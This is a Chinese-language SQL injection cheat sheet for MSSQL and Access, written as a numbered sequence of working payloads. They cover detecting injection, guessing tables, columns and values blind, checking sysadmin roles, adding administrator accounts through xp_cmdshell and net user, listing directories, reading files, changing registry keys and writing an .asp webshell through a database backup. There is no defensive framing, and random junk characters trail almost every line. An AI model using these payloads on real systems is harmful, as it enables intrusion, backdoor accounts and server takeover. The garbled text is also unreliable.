1.判断是否有注入;and 1=1 ;and 1=2 BnG{)\s
2.初步判断是否是mssql ;and user>0 O4!!*0(+91
?z3|^oU~d
3.注入参数是字符'and [查询条件] and ''=' L% T%6p_
`ghNS
4.搜索时没过滤参数的'and [查询条件] and '%25'=' z3M6<.K
P)[QC
5.判断数据库系统 U%K gLg#
xv7nChB
;and (select count(*) from sysobjects)>0 mssql ^Yo2 R
/S9n!H:MT
;and (select count(*) from msysobjects)>0 access ]sqp^tQ`e
XcKyrh;i
0L\vi
6Z-[-0o+g
6.猜数据库 ;and (select Count(*) from [数据库名])>0 GPAz#0p
/+m7J"Km
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 m@yx6[E#
n*hRlL
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 XeozRfk%J|
^mZTki4
9.(1)猜字段的ascii值(access) (Li)@Cn%
V_9>Z?
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 R/&C}6Gn
/?C6oj1
(2)猜字段的ascii值(mssql) 2'WdH1UrBc
t`0(5v
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 '~7 6Y9mv
.-:6L2
10.测试权限结构(mssql) 'x=y:0A
Rp.FG
BtP*R,>
_aOsFFB1KF
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- #~ [mn_C
Ay\!ohIS3
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- g%d&>y?1r
4\Cb4jq%/
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- }q~xr3#
|y2cI,&
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- m} nA-*
0'Qo eFKG
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- WR>2t&;E
h9 3
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- sJYs{Wm
[>f4&yY
;and 1=(select IS_MEMBER('db_owner'));-- Y&DC5T]
q\87<=9J
p%*!]JRS
.e2K\o
11.添加mssql和系统的帐户 y8\4TjS1
ZBfB4<M9xS
;exec master.dbo.sp_addlogin username;-- :#p!&Fi
;exec master.dbo.sp_password null,username,password;-- pn2_ {8.
XWFuAE
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- c95{Xy
?\Z-3l%M
;exec master.dbo.xp_cmdshell 'net user username password #&c}in"!
6995r%
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- xkebel`%
Xa32p_|5~
;exec master.dbo.xp_cmdshell 'net user username password /add';-- gL;tyf1P
1~P ^g`
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- t^1c^RpTb
ZN?UkFnE
!ZlNPPrq}
rhe;j/ /`
12.(1)遍历目录 />9?/&N6"
l~Sn`%PgA
;create table dirs(paths varchar(100), id int) ua
vv
gRdg3qvU
;insert dirs exec master.dbo.xp_dirtree 'c:\' f<0nj?
p#dpDjh
;and (select top 1 paths from dirs)>0 ;1 02ddRV
Ka\%kB>*`
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) e
RjpR?!\
Zj8aD-1]U^
X pd^^
xl$#00|y
(2)遍历目录 (_ElM>
K-nf@o+
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- nP >*0Fq
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Y@Kp'+t(!
{<- BU[H
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 UC34AKm
<j.bG 7
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 kEE8cW3
ivbuS-f=r
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 rE
bC_<
dZ7+Iw;m
Osdw\NNH~M
98os4}r
13.mssql中的存储过程 ##!)}i
GiN\nu<!
xp_regenumvalues 注册表根键, 子键 B{SzC=4f}
Wb"*9q06
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 +M6qbIO
t,.MtU>K@
xp_regread 根键,子键,键值名 r c7"sIkV
:hG?} [-2
;exec xp_regread Y$ ;C@I
d\dt}&S 5
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 EIwTx:{F
xaWm wsym
xp_regwrite 根键,子键, 值名, 值类型, 值 Z2WAVSw
% zs 1v]
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ubIGs|p2c
Dqe/n_Z
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 })|+tZ
/GNRu
xp_regdeletevalue 根键,子键,值名 RV|: mI
!p1OBS|
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 $Tt@Xu
qbkvwL9
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 dx@#6Fhy
Pn5@7~
N
G1]!Vz5
mk1;22o{TX
14.mssql的backup创建webshell glh2CRUj
I;L$Nf{v
use model 4em7PmT
r:y*l4
create table cmd(str image); SHPaSq'&N
&3>ki0L
insert into cmd(str) values (''); r+0"1\f3
7ju7QyR
backup database model to disk='c:\l.asp';
= Ow}MX
<oPo?r|oM|
R)t"`'6|
'bkecC
15.mssql内置函数 mUzNrkG(G
*~M=2Fj;i
;and (select @@version)>0 获得Windows的版本号 =A<kDxqH
e%j+,)Ry
;and user_name()='dbo' 判断当前系统的连接用户是不是sa (hd^
bmc1S
;and (select user_name())>0 爆当前系统的连接用户 tsU.c"^n
OibW8A4Z1
;and (select db_name())>0 得到当前连接的数据库 FqQm*k_
`ItMn&P
{.z2n>1J{T
1#Dpj.cO#
16.简洁的webshell FJv=5L
9">}@1k
use model a|32Pn
:HRJ49a
create table cmd(str image); rZe"*$e
G[r_|-^S
insert into cmd(str) values (''); 2;5EH0
$uawQf+S
backup database model to disk='g:\wwwtest\l.asp';